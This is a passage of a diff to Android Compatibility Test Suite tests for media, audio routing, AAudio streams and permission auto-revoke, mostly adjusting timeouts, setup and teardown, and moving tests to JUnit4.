-                    mPresEndLock.safeWait(PRESENTATION_END_TIMEOUT_MS);
+                    mPresEndLock.safeWait(PRESENTATION_END_TIMEOUT_MS - elapsed);
                 }
-            } catch (InterruptedException e) { fail("Error while sleeping"); }
-            synchronized (mEventCallbackLock) {
-                assertTrue("onDataRequest not called", mCallback.mDataRequestCount > 0);
+            } catch (InterruptedException e) {
+                fail("Error while sleeping");
             }
             synchronized (mPresEndLock) {
                 // we are at most PRESENTATION_END_TIMEOUT_MS + 1s after about 3s of data was
@@ -154,14 +161,30 @@
                 track.unregisterStreamEventCallback(mCallback);
                 track.release();
             }
+        };
+    }
+
+    private long checkDataRequest(long timeout) throws Exception {
+        long checkStart = SystemClock.uptimeMillis();
+        boolean calledback = false;
+        while (SystemClock.uptimeMillis() - checkStart < timeout) {
+            synchronized (mEventCallbackLock) {
+                if (mCallback.mDataRequestCount > 0) {
+                    calledback = true;
+                    break;
+                }
+            }
+            Thread.sleep(DATA_REQUEST_POLL_PERIOD_MS);
         }
+        assertTrue("onDataRequest not called", calledback);
+        return (SystemClock.uptimeMillis() - checkStart);
     }
 
     private static AudioFormat getAudioFormatWithEncoding(int encoding) {
        return new AudioFormat.Builder()
             .setEncoding(encoding)
-            .setSampleRate(44100)
-            .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+            .setSampleRate(AUDIOTRACK_DEFAULT_SAMPLE_RATE)
+            .setChannelMask(AUDIOTRACK_DEFAULT_CHANNEL_MASK)
             .build();
     }
 
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 05f486f..b8064c0 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -1602,13 +1602,17 @@
         final int TEST_LOOPS = 1;
         final double TEST_LOOP_DURATION = 1.;
         final int TEST_ADDITIONAL_DRAIN_MS = 0;
+        // Compensates for cold start when run in isolation.
+        // The cold output latency must be 500 ms less or
+        // 200 ms less for low latency devices.
+        final long WAIT_TIME_MS = isLowLatencyDevice() ? WAIT_MSEC : 500;
 
         for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
             double frequency = 400; // frequency changes for each test
             for (int TEST_SR : TEST_SR_ARRAY) {
                 for (int TEST_CONF : TEST_CONF_ARRAY) {
                     playOnceStaticData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
-                            TEST_LOOPS, TEST_FORMAT, frequency, TEST_SR, TEST_CONF, WAIT_MSEC,
+                            TEST_LOOPS, TEST_FORMAT, frequency, TEST_SR, TEST_CONF, WAIT_TIME_MS,
                             TEST_LOOP_DURATION, TEST_ADDITIONAL_DRAIN_MS);
 
                     frequency += 70; // increment test tone frequency
@@ -2094,6 +2098,11 @@
             .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
     }
 
+    private boolean isLowLatencyDevice() {
+        return getContext().getPackageManager()
+            .hasSystemFeature(PackageManager.FEATURE_AUDIO_LOW_LATENCY);
+    }
+
     private boolean isLowRamDevice() {
         return ((ActivityManager) getContext().getSystemService(Context.ACTIVITY_SERVICE))
                 .isLowRamDevice();
diff --git a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java b/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
index 196f235..eb048f7 100755
--- a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
@@ -500,6 +500,12 @@
             format.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
             format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
             format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+
+            // Set color parameters
+            format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+            format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
+            format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_LINEAR);
+
             if (VERBOSE) Log.d(TAG, "format: " + format);
 
             // Create the output surface.
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
index 36c24ef..66bb0bf 100644
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
@@ -79,7 +79,7 @@
     private static final boolean DBG = false;
     private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
 
-    private static final long DEFAULT_WAIT_TIMEOUT_MS = 5000;
+    private static final long DEFAULT_WAIT_TIMEOUT_MS = 10000;
     private static final long DEFAULT_WAIT_TIMEOUT_US = DEFAULT_WAIT_TIMEOUT_MS * 1000;
 
     private static final int COLOR_RED =  makeColor(100, 0, 0);
diff --git a/tests/tests/media/src/android/media/cts/HeifWriterTest.java b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
index 95f1426..7f1c0d6 100644
--- a/tests/tests/media/src/android/media/cts/HeifWriterTest.java
+++ b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
@@ -531,7 +531,7 @@
                 }
             }
 
-            heifWriter.stop(3000);
+            heifWriter.stop(5000);
             // The test sets the primary index to the last image.
             // However, if we're testing early abort, the last image will not be
             // present and the muxer is supposed to set it to 0 by default.
diff --git a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java b/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
index 271db7d..0a75047 100644
--- a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
@@ -74,6 +74,7 @@
     Context mContext;
     private MediaRouter2 mRouter2;
     private Executor mExecutor;
+    private RouteCallback mRouterDummyCallback = new RouteCallback(){};
     private StubMediaRoute2ProviderService mService;
 
     private static final int TIMEOUT_MS = 5000;
@@ -91,6 +92,16 @@
         mRouter2 = MediaRouter2.getInstance(mContext);
         mExecutor = Executors.newSingleThreadExecutor();
 
+        MediaRouter2TestActivity.startActivity(mContext);
+
+        // In order to make the system bind to the test service,
+        // set a non-empty discovery preference while app is in foreground.
+        List<String> features = new ArrayList<>();
+        features.add("A test feature");
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, false).build();
+        mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
+
         new PollingCheck(TIMEOUT_MS) {
             @Override
             protected boolean check() {
@@ -107,6 +118,8 @@
 
     @After
     public void tearDown() throws Exception {
+        mRouter2.unregisterRouteCallback(mRouterDummyCallback);
+        MediaRouter2TestActivity.finishActivity();
         if (mService != null) {
             mService.clear();
             mService = null;
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
index 48466d5..07136d6 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
@@ -82,6 +82,7 @@
     private MediaRouter2 mRouter2;
     private Executor mExecutor;
     private AudioManager mAudioManager;
+    private RouteCallback mRouterDummyCallback = new RouteCallback(){};
     private StubMediaRoute2ProviderService mService;
 
     private static final int TIMEOUT_MS = 5000;
@@ -102,6 +103,16 @@
         mExecutor = Executors.newSingleThreadExecutor();
         mAudioManager = (AudioManager) mContext.getSystemService(AUDIO_SERVICE);
 
+        MediaRouter2TestActivity.startActivity(mContext);
+
+        // In order to make the system bind to the test service,
+        // set a non-empty discovery preference while app is in foreground.
+        List<String> features = new ArrayList<>();
+        features.add("A test feature");
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, false).build();
+        mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
+
         new PollingCheck(TIMEOUT_MS) {
             @Override
             protected boolean check() {
@@ -120,6 +131,8 @@
 
     @After
     public void tearDown() throws Exception {
+        mRouter2.unregisterRouteCallback(mRouterDummyCallback);
+        MediaRouter2TestActivity.finishActivity();
         if (mService != null) {
             mService.clear();
             mService = null;
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java b/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java
new file mode 100644
index 0000000..e0ba399
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+import androidx.test.core.app.ActivityScenario;
+
+public class MediaRouter2TestActivity extends Activity {
+
+    private static ActivityScenario<MediaRouter2TestActivity> sActivityScenario;
+
+    public static ActivityScenario<MediaRouter2TestActivity> startActivity(Context context) {
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClass(context, MediaRouter2TestActivity.class);
+        sActivityScenario = ActivityScenario.launch(intent);
+        return sActivityScenario;
+    }
+
+    public static void finishActivity() {
+        if (sActivityScenario != null) {
+            // TODO: Sometimes calling this takes about 5 seconds. Need to figure out why.
+            sActivityScenario.close();
+            sActivityScenario = null;
+        }
+    }
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setTurnScreenOn(true);
+        setShowWhenLocked(true);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/NdkMediaCodec.java b/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
index 7c3791f..d3470c7 100644
--- a/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
+++ b/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
@@ -28,6 +28,8 @@
 public class NdkMediaCodec implements MediaCodecWrapper {
 
     private static final String CSD_0 = "csd-0";
+    private static final String CSD_1 = "csd-1";
+    private static final String CSD_2 = "csd-2";
     private long mNdkMediaCodec;
     private final String mName;
 
@@ -63,7 +65,8 @@
             int bitRate,
             int frameRate,
             int iFrameInterval,
-            ByteBuffer csd,
+            ByteBuffer csd0,
+            ByteBuffer csd1,
             int flags,
             int lowLatency,
             Surface surface);
@@ -118,12 +121,25 @@
         int iFrameInterval = format.getInteger(MediaFormat.KEY_I_FRAME_INTERVAL, -1);
         int lowLatency = format.getInteger(MediaFormat.KEY_LOW_LATENCY, -1);
 
-        ByteBuffer csdBufCopy = null;
+        ByteBuffer csd0BufCopy = null;
         if (format.containsKey(CSD_0)) {
-            ByteBuffer csdBufOld = format.getByteBuffer(CSD_0);
-            csdBufCopy = ByteBuffer.allocateDirect(csdBufOld.remaining());
-            csdBufCopy.put(csdBufOld);
-            csdBufCopy.position(0);
+            ByteBuffer csd0BufOld = format.getByteBuffer(CSD_0);
+            csd0BufCopy = ByteBuffer.allocateDirect(csd0BufOld.remaining());
+            csd0BufCopy.put(csd0BufOld);
+            csd0BufCopy.position(0);
+        }
+
+        ByteBuffer csd1BufCopy = null;
+        if (format.containsKey(CSD_1)) {
+            ByteBuffer csd1BufOld = format.getByteBuffer(CSD_1);
+            csd1BufCopy = ByteBuffer.allocateDirect(csd1BufOld.remaining());
+            csd1BufCopy.put(csd1BufOld);
+            csd1BufCopy.position(0);
+        }
+
+        // fail loudly so the test can be properly extended.
+        if (format.containsKey(CSD_2)) {
+            throw new UnsupportedOperationException("test error: does not handle csd-2");
         }
 
         AMediaCodecConfigure(
@@ -135,7 +151,8 @@
                 bitRate,
                 frameRate,
                 iFrameInterval ,
-                csdBufCopy,
+                csd0BufCopy,
+                csd1BufCopy,
                 flags,
                 lowLatency,
                 surface);
diff --git a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
index 03f6839..a5f2471 100644
--- a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
+++ b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
@@ -22,6 +22,7 @@
 import android.annotation.ColorInt;
 import android.graphics.Bitmap;
 import android.graphics.Color;
+import static android.media.MediaFormat.MIMETYPE_VIDEO_HEVC;
 import android.media.ThumbnailUtils;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Size;
@@ -33,6 +34,8 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
@@ -161,6 +164,11 @@
     @Test
     @Parameters(method = "getHEICSampleForCreateImageThumbnail")
     public void testCreateImageThumbnail_HEICSample(final String res) throws Exception {
+        if (!MediaUtils.hasDecoder(MIMETYPE_VIDEO_HEVC)) {
+            MediaUtils.skipTest("no video decoders for resource");
+            return;
+        }
+
         final File file = stageFile(res, new File(mDir, "cts.heic"));
         final Bitmap bitmap = ThumbnailUtils.createImageThumbnail(file, TEST_SIZES[0], null);
 
diff --git a/tests/tests/media/src/android/media/cts/WorkDir.java b/tests/tests/media/src/android/media/cts/WorkDir.java
index 1742ec2..e93bd19 100644
--- a/tests/tests/media/src/android/media/cts/WorkDir.java
+++ b/tests/tests/media/src/android/media/cts/WorkDir.java
@@ -38,7 +38,7 @@
         android.os.Bundle bundle = InstrumentationRegistry.getArguments();
         String mediaDirString = bundle.getString(MEDIA_PATH_INSTR_ARG_KEY);
         if (mediaDirString == null) {
-            return (getTopDirString() + "test/CtsMediaTestCases-1.3/");
+            return (getTopDirString() + "test/CtsMediaTestCases-1.4/");
         } else if (!mediaDirString.endsWith(File.separator)) {
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + File.separator;
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java b/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java
index 1b4ed62..b33259f 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java
@@ -49,6 +49,7 @@
     private static final long PAUSE_WAIT_TIME = 3000;
     private static final long WAIT_TIME = 2000;
     private static final int SEEK_TIME = 10000;
+    private static final int PLAYBACK_SETTLE_TIME_MS = 5000;
 
     public static boolean mOnCompleteSuccess = false;
     public static boolean mPlaybackError = false;
@@ -802,7 +803,7 @@
             waittime = duration - mMediaPlayer.getCurrentPosition();
             synchronized(mOnCompletion) {
                 try {
-                    mOnCompletion.wait(waittime + 2000);
+                    mOnCompletion.wait(waittime + PLAYBACK_SETTLE_TIME_MS);
                 } catch (Exception e) {
                     Log.v(TAG, "playMediaSamples are interrupted");
                     return false;
diff --git a/tests/tests/mimemap/OWNERS b/tests/tests/mimemap/OWNERS
index 7f38126..213af28 100644
--- a/tests/tests/mimemap/OWNERS
+++ b/tests/tests/mimemap/OWNERS
@@ -1,4 +1,2 @@
 # Bug component: 24949
-include platform/libcore:/OWNERS
-jsharkey@android.com
-
+include platform/frameworks/base:/mime/OWNERS
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
index daf5d6c..b8ea502 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
@@ -48,6 +48,53 @@
     const StreamBuilderHelper::Parameters& actual() const { return mHelper->actual(); }
     int32_t framesPerBurst() const { return mHelper->framesPerBurst(); }
 
+    // This checks for expected behavior after a stream has been released.
+    void checkCallsAfterRelease() {
+        // We expect these not to crash.
+        AAudioStream_setBufferSizeInFrames(stream(), 0);
+        AAudioStream_setBufferSizeInFrames(stream(), 99999999);
+
+        // We should NOT be able to start or change a stream after it has been released.
+        EXPECT_EQ(AAUDIO_ERROR_INVALID_STATE,
+                  AAudioStream_requestStart(stream()));
+        EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, AAudioStream_getState(stream()));
+        // Pause is only implemented for OUTPUT.
+        if (AAudioStream_getDirection(stream()) == AAUDIO_DIRECTION_OUTPUT) {
+            EXPECT_EQ(AAUDIO_ERROR_INVALID_STATE,
+                      AAudioStream_requestPause(stream()));
+        }
+        EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, AAudioStream_getState(stream()));
+        EXPECT_EQ(AAUDIO_ERROR_INVALID_STATE,
+                  AAudioStream_requestStop(stream()));
+        EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, AAudioStream_getState(stream()));
+
+        // Do these return positive integers?
+        // Frames read or written may be zero if the stream has not had time to advance.
+        EXPECT_GE(AAudioStream_getFramesRead(stream()), 0);
+        EXPECT_GE(AAudioStream_getFramesWritten(stream()), 0);
+        EXPECT_GT(AAudioStream_getFramesPerBurst(stream()), 0);
+        EXPECT_GE(AAudioStream_getXRunCount(stream()), 0);
+        EXPECT_GT(AAudioStream_getBufferCapacityInFrames(stream()), 0);
+        EXPECT_GT(AAudioStream_getBufferSizeInFrames(stream()), 0);
+
+        int64_t timestampFrames = 0;
+        int64_t timestampNanos = 0;
+        aaudio_result_t result = AAudioStream_getTimestamp(stream(), CLOCK_MONOTONIC,
+                                           &timestampFrames, &timestampNanos);
+        EXPECT_TRUE(result == AAUDIO_ERROR_INVALID_STATE
+                        || result == AAUDIO_ERROR_UNIMPLEMENTED
+                        || result == AAUDIO_OK
+                        );
+
+        // Verify Closing State. Does this crash?
+        aaudio_stream_state_t state = AAUDIO_STREAM_STATE_UNKNOWN;
+        EXPECT_EQ(AAUDIO_OK, AAudioStream_waitForStateChange(stream(),
+                                                             AAUDIO_STREAM_STATE_UNKNOWN,
+                                                             &state,
+                                                             500 * NANOS_PER_MILLISECOND));
+        EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, state);
+    }
+
     /**
      * @return buffer with correct size for the stream format.
      */
@@ -86,7 +133,7 @@
     bool mSetupSuccessful = false;
 
     std::unique_ptr<int16_t[]> mShortData;
-    std::unique_ptr<float[]>   mFloatData;
+    std::unique_ptr<float[]> mFloatData;
 };
 
 class AAudioInputStreamTest : public AAudioStreamTest<InputStreamBuilderHelper> {
@@ -206,6 +253,9 @@
       aaudio_stream_state_t state = AAudioStream_getState(stream());
       EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, state);
     }
+
+    checkCallsAfterRelease();
+
 }
 
 INSTANTIATE_TEST_CASE_P(SPM, AAudioInputStreamTest,
@@ -408,11 +458,16 @@
     if (!mSetupSuccessful) return;
 
     mHelper->startStream();
-    aaudio_result_t result = AAudioStream_write(
-            stream(), getDataBuffer(), framesPerBurst(),
-            DEFAULT_READ_TIMEOUT);
-    ASSERT_GT(result, 0);
+    // Write a few times so the device has time to read some of the data
+    // and maybe advance the framesRead.
+    for (int i = 0; i < 3; i++) {
+        aaudio_result_t result = AAudioStream_write(
+                stream(), getDataBuffer(), framesPerBurst(),
+                DEFAULT_READ_TIMEOUT);
+        ASSERT_GT(result, 0);
+    }
     mHelper->stopStream();
+    EXPECT_GE(AAudioStream_getFramesRead(stream()), 0);
 
     // It should be safe to release multiple times.
     for (int i = 0; i < 3; i++) {
@@ -420,6 +475,9 @@
       aaudio_stream_state_t state = AAudioStream_getState(stream());
       EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, state);
     }
+
+    checkCallsAfterRelease();
+
 }
 
 // Note that the test for EXCLUSIVE sharing mode may fail gracefully if
diff --git a/tests/tests/os/CtsOsTestCases.xml b/tests/tests/os/CtsOsTestCases.xml
index 72902e68..1d4b393 100644
--- a/tests/tests/os/CtsOsTestCases.xml
+++ b/tests/tests/os/CtsOsTestCases.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsOsTestCases.apk" />
@@ -43,6 +44,11 @@
         -->
     </test>
 
+    <!-- Create Place to store apks -->
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/cts/os" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/cts/os" />
+    </target_preparer>
     <!-- Load additional APKs onto device -->
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
diff --git a/tests/tests/os/OWNERS b/tests/tests/os/OWNERS
new file mode 100644
index 0000000..3429892
--- /dev/null
+++ b/tests/tests/os/OWNERS
@@ -0,0 +1,4 @@
+per-file *AutoRevoke* = eugenesusla@google.com
+per-file *Companion* = eugenesusla@google.com
+per-file *AndroidManifest.xml = eugenesusla@google.com
+per-file *CtsOsTestCases.xml = eugenesusla@google.com
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index ab22e7e..44a5444 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -16,6 +16,8 @@
 
 package android.os.cts
 
+import android.app.Instrumentation
+import android.content.Context
 import android.content.Intent
 import android.content.Intent.ACTION_AUTO_REVOKE_PERMISSIONS
 import android.content.Intent.FLAG_ACTIVITY_NEW_TASK
@@ -29,10 +31,10 @@
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.BySelector
 import android.support.test.uiautomator.UiObject2
-import android.test.InstrumentationTestCase
 import android.view.accessibility.AccessibilityNodeInfo
 import android.widget.Switch
-import com.android.compatibility.common.util.textAsString
+import androidx.test.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
 import com.android.compatibility.common.util.MatcherUtils.hasTextThat
 import com.android.compatibility.common.util.SystemUtil
 import com.android.compatibility.common.util.SystemUtil.runShellCommand
@@ -42,11 +44,19 @@
 import com.android.compatibility.common.util.click
 import com.android.compatibility.common.util.depthFirstSearch
 import com.android.compatibility.common.util.lowestCommonAncestor
+import com.android.compatibility.common.util.textAsString
 import com.android.compatibility.common.util.uiDump
 import org.hamcrest.CoreMatchers.containsString
 import org.hamcrest.CoreMatchers.containsStringIgnoringCase
+import org.hamcrest.CoreMatchers.equalTo
 import org.hamcrest.Matcher
+import org.junit.Assert.assertEquals
+import org.junit.Assert.assertFalse
 import org.junit.Assert.assertThat
+import org.junit.Assert.assertTrue
+import org.junit.Before
+import org.junit.Test
+import org.junit.runner.RunWith
 import java.lang.reflect.Modifier
 import java.util.concurrent.TimeUnit
 import java.util.concurrent.atomic.AtomicReference
@@ -61,7 +71,11 @@
 /**
  * Test for auto revoke
  */
-class AutoRevokeTest : InstrumentationTestCase() {
+@RunWith(AndroidJUnit4::class)
+class AutoRevokeTest {
+
+    private val context: Context = InstrumentationRegistry.getTargetContext()
+    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
 
     private val mPermissionControllerResources: Resources = context.createPackageContext(
             context.packageManager.permissionControllerPackageName, 0).resources
@@ -70,9 +84,27 @@
         const val LOG_TAG = "AutoRevokeTest"
     }
 
+    @Before
+    fun setup() {
+        // Kill Permission Controller
+        assertThat(
+                runShellCommand("killall " +
+                        context.packageManager.permissionControllerPackageName),
+                equalTo(""))
+
+        // Collapse notifications
+        assertThat(
+                runShellCommand("cmd statusbar collapse"),
+                equalTo(""))
+
+        // Wake up the device
+        runShellCommand("input keyevent KEYCODE_WAKEUP")
+        runShellCommand("input keyevent 82")
+    }
+
     @AppModeFull(reason = "Uses separate apps for testing")
+    @Test
     fun testUnusedApp_getsPermissionRevoked() {
-        wakeUpScreen()
         withUnusedThresholdMs(3L) {
             withDummyApp {
                 // Setup
@@ -103,8 +135,8 @@
     }
 
     @AppModeFull(reason = "Uses separate apps for testing")
+    @Test
     fun testUsedApp_doesntGetPermissionRevoked() {
-        wakeUpScreen()
         withUnusedThresholdMs(100_000L) {
             withDummyApp {
                 // Setup
@@ -127,8 +159,8 @@
     }
 
     @AppModeFull(reason = "Uses separate apps for testing")
+    @Test
     fun testPreRUnusedApp_doesntGetPermissionRevoked() {
-        wakeUpScreen()
         withUnusedThresholdMs(3L) {
             withDummyApp(APK_PATH_2, APK_PACKAGE_NAME_2) {
                 withDummyApp {
@@ -168,8 +200,8 @@
     }
 
     @AppModeFull(reason = "Uses separate apps for testing")
+    @Test
     fun testAutoRevoke_userWhitelisting() {
-        wakeUpScreen()
         withUnusedThresholdMs(4L) {
             withDummyApp {
                 // Setup
@@ -205,14 +237,15 @@
     }
 
     @AppModeFull(reason = "Uses separate apps for testing")
+    @Test
     fun testInstallGrants_notRevokedImmediately() {
-        wakeUpScreen()
         withUnusedThresholdMs(TimeUnit.DAYS.toMillis(30)) {
             withDummyApp {
                 // Setup
                 goToPermissions()
                 click("Calendar")
                 click("Allow")
+                Thread.sleep(500)
                 goBack()
                 goBack()
                 goBack()
@@ -231,6 +264,7 @@
     }
 
     @AppModeFull(reason = "Uses separate apps for testing")
+    @Test
     fun testAutoRevoke_whitelistingApis() {
         withDummyApp {
             val pm = context.packageManager
@@ -258,11 +292,6 @@
         }
     }
 
-    private fun wakeUpScreen() {
-        runShellCommand("input keyevent KEYCODE_WAKEUP")
-        runShellCommand("input keyevent 82")
-    }
-
     private fun runAutoRevoke() {
         runShellCommand("cmd jobscheduler run -u 0 " +
                 "-f ${context.packageManager.permissionControllerPackageName} 2")
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index ca0f84a..45fcee9 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -85,9 +85,6 @@
 
         List<String> abiList = Arrays.asList(abiListProperty);
 
-        // Every device must support at least one 32 bit ABI.
-        assertTrue(Build.SUPPORTED_32_BIT_ABIS.length > 0);
-
         // Every supported 32 bit ABI must be present in Build.SUPPORTED_ABIS.
         for (String abi : Build.SUPPORTED_32_BIT_ABIS) {
             assertTrue(abiList.contains(abi));
@@ -258,6 +255,8 @@
 
         assertTrue(SKU_PATTERN.matcher(Build.SKU).matches());
 
+        assertTrue(SKU_PATTERN.matcher(Build.ODM_SKU).matches());
+
         assertTrue(TAGS_PATTERN.matcher(Build.TAGS).matches());
 
         // No format requirements stated in CDD for Build.TIME
diff --git a/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java b/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
index c779f8a..e83b54a 100644
--- a/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
+++ b/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
@@ -21,6 +21,7 @@
 import android.net.Uri;
 import android.os.ConditionVariable;
 import android.os.FileObserver;
+import android.platform.test.annotations.AppModeFull;
 import android.provider.MediaStore;
 import android.test.AndroidTestCase;
 import java.io.File;
@@ -55,12 +56,13 @@
      * MODIFY events on that file, ensuring that, in the case of a FUSE mounted
      * file system, changes applied to the lower file system will be detected
      * by a monitored FUSE folder.
-     * Instead of checking if the set of generated events if exactly the same
+     * Instead of checking if the set of generated events is exactly the same
      * as the set of expected events, the test checks if the set of generated
      * events contains CREATE, OPEN and MODIFY. This because there may be other
      * services (e.g., file indexing) that may access the newly created file,
      * generating spurious events that this test doesn't care of and filters
      * them out. */
+    @AppModeFull(reason = "Instant apps cannot access external storage")
     public void testCreateFile() throws Exception {
         String imageName = "image" + System.currentTimeMillis() + ".jpg";
 
@@ -82,15 +84,16 @@
         os.write("TEST".getBytes("UTF-8"));
         os.close();
 
-        /* Wait for for the inotify events to be catched. A timeout occurs
-         * after 2 seconds. */
+        /* Wait for for the inotify events to be caught. A timeout occurs after
+         * 2 seconds. */
         mCond.block(2000);
 
         int detectedEvents = fileObserver.getEvents().getOrDefault(imageName, 0);
 
         /* Verify if the received events correspond to the ones that were requested */
-        assertEquals("Uncatched some of the events", PathFileObserver.eventsToSet(eventsMask),
-                PathFileObserver.eventsToSet(detectedEvents & eventsMask));
+        assertEquals("Expected and received inotify events do not match",
+            PathFileObserver.eventsToSet(eventsMask),
+            PathFileObserver.eventsToSet(detectedEvents & eventsMask));
 
         fileObserver.stopWatching();
     }
@@ -125,7 +128,7 @@
                     path, filteredEvent | mGeneratedEventsMap.getOrDefault(path, 0));
 
             /* Release the condition variable only if at least all the matching
-             * events have been catched for every monitored file. */
+             * events have been caught for every monitored file. */
             for (String file : mMonitoredEventsMap.keySet()) {
                 int monitoredEvents = mMonitoredEventsMap.getOrDefault(file, 0);
                 int generatedEvents = mGeneratedEventsMap.getOrDefault(file, 0);
diff --git a/tests/tests/os/src/android/os/cts/LocaleListTest.java b/tests/tests/os/src/android/os/cts/LocaleListTest.java
index 8eee8c6..3d05332 100644
